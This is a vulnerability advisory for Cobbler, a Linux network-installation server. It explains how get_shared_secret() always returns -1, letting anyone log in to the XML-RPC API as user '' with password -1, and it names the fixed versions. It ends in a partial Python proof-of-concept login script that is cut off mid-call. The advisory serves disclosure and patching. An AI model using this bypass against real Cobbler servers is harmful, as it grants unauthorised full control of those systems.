Affected: cobbler, cobbler_project cobbler

Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. `utils.get_shared_secret()` always returns `-1`, which allows anyone to connect to cobbler XML-RPC as user `''` password `-1` and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.

Affected: PyPI: cobbler

### Summary

utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.

### Details utils.py get_shared_secret: ``` def get_shared_secret() -> Union[str, int]: """ The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required. For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.

:return: The Cobbler secret which enables full access to Cobbler. """

try: with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd: data = fd.read() except: return -1 return str(data).strip() ``` Always returns `-1` because of the following exception: ``` binary mode doesn't take an encoding argument ```

This appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.

### PoC ``` #!/usr/bin/python3

import ssl import xmlrpc.client

params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 } ssl_context = ssl._create_unverified_context()

url = '{proto}://{host}:{port}/cobbler_api'.format(**params) if ssl_context: conn = xmlrpc.client.ServerProxy(url, context=ssl_context) else: conn = xmlrpc.client.Server(url)

try: token = conn.login(para…